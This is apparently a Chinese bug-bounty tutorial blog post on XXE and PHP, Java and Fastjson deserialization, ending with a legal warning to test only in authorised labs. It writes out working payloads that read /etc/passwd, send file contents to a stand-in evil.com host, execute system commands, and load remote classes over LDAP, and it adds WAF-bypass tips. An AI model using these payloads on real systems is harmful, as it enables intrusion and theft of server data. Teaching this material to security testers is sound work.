【SRC漏洞挖掘系列】第09期:XXE与反序列化 —— 当XML和Java开始“吃”代码

上期回顾 :我们用 SSRF 借刀杀人,打进了内网。本期难度直线上升 ,我们将挑战两个让程序员闻风丧胆的"贵族漏洞"------XXE ​ 和 反序列化。

这两个漏洞一旦爆发,通常不是"拿个Shell"那么简单,而是直接接管服务器集群。☠️


一、XXE:XML的"胃口"太大了

1. 什么是 XXE?

XXE (XML External Entity Injection),即 XML 外部实体注入。

想象一下,你给服务器递了一张 "菜单(XML)" ,服务器不仅照单全收,还把你菜单里写的 **"去把老板保险柜密码念一遍"**​ 也给执行了。

核心痛点 :服务器解析 XML 时,默认允许加载外部实体。

2. 实战案例:读取服务器密码

很多老旧的 OA 系统、支付接口还在用 XML 传输数据。

原始请求:

http

复制代码
POST /api/pay HTTP/1.1
Content-Type: application/xml

<user>
    <name>Tom</name>
    <money>100</money>
</user>

攻击 Payload:

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>
    <name>&xxe;</name>
    <money>100</money>
</user>

发生了什么?

  1. <!ENTITY xxe SYSTEM "file:///etc/passwd">:定义了一个实体 xxe,内容是读取系统文件 /etc/passwd。

  2. &xxe;:在 XML 中引用这个实体。

  3. 结果:服务器返回的数据里,包含了 Linux 系统的所有用户账户信息。

3. Blind XXE(无回显的绝杀)

如果服务器不把解析结果显示在页面上怎么办?把数据外带出去。

攻击思路:

  1. 你有一台公网服务器 evil.com。

  2. 诱导目标服务器加载 http://evil.com/?data=读取到的机密文件。

Payload 示意:

XML 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd "<!ENTITY &#x25; exfiltrate SYSTEM 'http://evil.com/?data=%file;'>">

二、反序列化:给程序"下毒"

1. 什么是反序列化?

序列化:把对象(Object)变成字符串(方便传输)。

反序列化:把字符串变回对象(恢复状态)。

漏洞原理:

你买了一盒乐高(序列化数据),说明书被坏人换成了"组装成炸弹"的步骤(恶意构造的 Payload)。你照着说明书拼,结果家里炸了。

2. PHP 反序列化(魔术方法)

PHP 中有一些特殊的函数(Magic Methods),比如 __wakeup()(醒来时执行)、__destruct()(销毁时执行)。

危险代码:

php 复制代码
class User {
    public $name;
    function __destruct() {
        system($this->name); // 销毁时执行系统命令
    }
}

Payload 构造:

我们只需要构造一个字符串,让 $name等于 whoami。

php 复制代码
O:4:"User":1:{s:4:"name";s:6:"whoami";}

结果 :程序结束时调用 __destruct(),执行了 system('whoami')。

3. Java 反序列化(重灾区)

Java 的 Commons-Collections 组件曾经是"漏洞之王"。

特点 :不需要懂代码,直接用工具(如 ysoserial)生成 Payload。

bash 复制代码
java -jar ysoserial.jar CommonsCollections5 "curl http://evil.com" > payload.bin

把这个 payload.bin发送给目标,目标就会反向连接到你的服务器。


三、SRC 实战中的"骚操作"

漏洞类型 利用难度 危害程度 常见位置
XXE​ 低 高 Office文档解析、SOAP接口、老旧支付
PHP反序列化​ 中 极高 缓存系统、Session、框架内核
Java反序列化​ 高 毁灭级​ Weblogic, JBoss, Fastjson

Fastjson 案例:

曾经风靡一时的 Fastjson 1.2.24。

Payload 只需指定 @type,服务器就会去加载你指定的恶意类。

json

复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://evil.com/Exploit",
  "autoCommit": true
}

四、绕过与防御(简版)

XXE 绕过

  • 编码绕过 :使用 UTF-16BE 编码,绕过 WAF 对 <!ENTITY的检测。

  • 内网攻击:结合 SSRF,利用 XXE 去攻击内网的 Redis。

反序列化绕过

  • 白名单绕过:寻找新的 Gadget(利用链)。

  • 长度绕过 :利用 phar://协议触发反序列化。


五、互动与思考

💬 互动话题:

各位师傅,你们在挖洞时遇到过"反序列化"漏洞吗?

是那种一打一个准的 Fastjson,还是让人头秃的 PHP POP 链?欢迎分享你的"链子"!⛓️


⚠️ 法律红线警示

  1. 严禁 在实际系统中尝试读取 /etc/passwd或任何系统文件,证明漏洞存在即可。

  2. 严禁 使用 ysoserial或类似工具向未授权目标发送 Payload,这属于非法入侵。

  3. 严禁利用 XXE 探测内网或攻击 Redis(除非是明确授权的靶场)。

  4. 测试原则:

    • XXE :使用 file:///etc/hostname或 php://filter读取非敏感文件。

    • 反序列化:仅测试是否存在报错回显,不要执行系统命令。

    • 所有实验请在 Vulhub​ 或本地 Docker 靶场中进行。

      **代码审计是门艺术,但利用漏洞必须是守法的行为。切勿以身试法。**​ 🛡️

下一期,我们将进入 "GraphQL & API 安全"------ 现代 API 的那些坑"。想知道怎么用一条查询语句拖库吗?敬请期待!🚀

相关推荐
蛋蛋的就会顺顺的5 小时前
hot100 p0——栈,贪心算法,动态规划
java·前端·javascript·算法·leetcode·力扣
需要8266 小时前
Spring Bean 生命周期:从实例化到销毁的完整钩子
java·后端·spring
小小测试开发6 小时前
安全评测得分 0.9556 掉到 0.3257,只改了 top_k 和 prompt_style 之外的题面比例
人工智能·安全·prompt
小 黄 鸡6 小时前
HashMap 面试必会知识点详解(JDK 8)
java·面试·职场和发展
亚川楼宇自控系统数据中心厂家8 小时前
事故风机监控:守护机房电池间等特殊区域的安全底线
大数据·安全
伯恩bourne8 小时前
Spring Boot Bean 注册的两种方式:@Component 家族 vs @Configuration + @Bean
java·spring boot·后端
silvamux_8 小时前
curl 测试 OpenAI 兼容 API 的完整流程
java·人工智能·缓存·ai·oneapi
hz567899 小时前
局域网会议系统如何搭建:从网络环境到软件选型的完整指南
安全·实时音视频·信息与通信·政务
省钱兄--zs9 小时前
深圳24小时自助健身房软硬件解决方案实战指南与开发流程详解
java·数据仓库·spring boot·小程序·架构
顽疲9 小时前
Java vue 养老系统源码详解:月账单 care_month_bill 与 Quartz 扣费 Job 实践
java·开发语言·vue.js·vue养老·springboot养老·java养老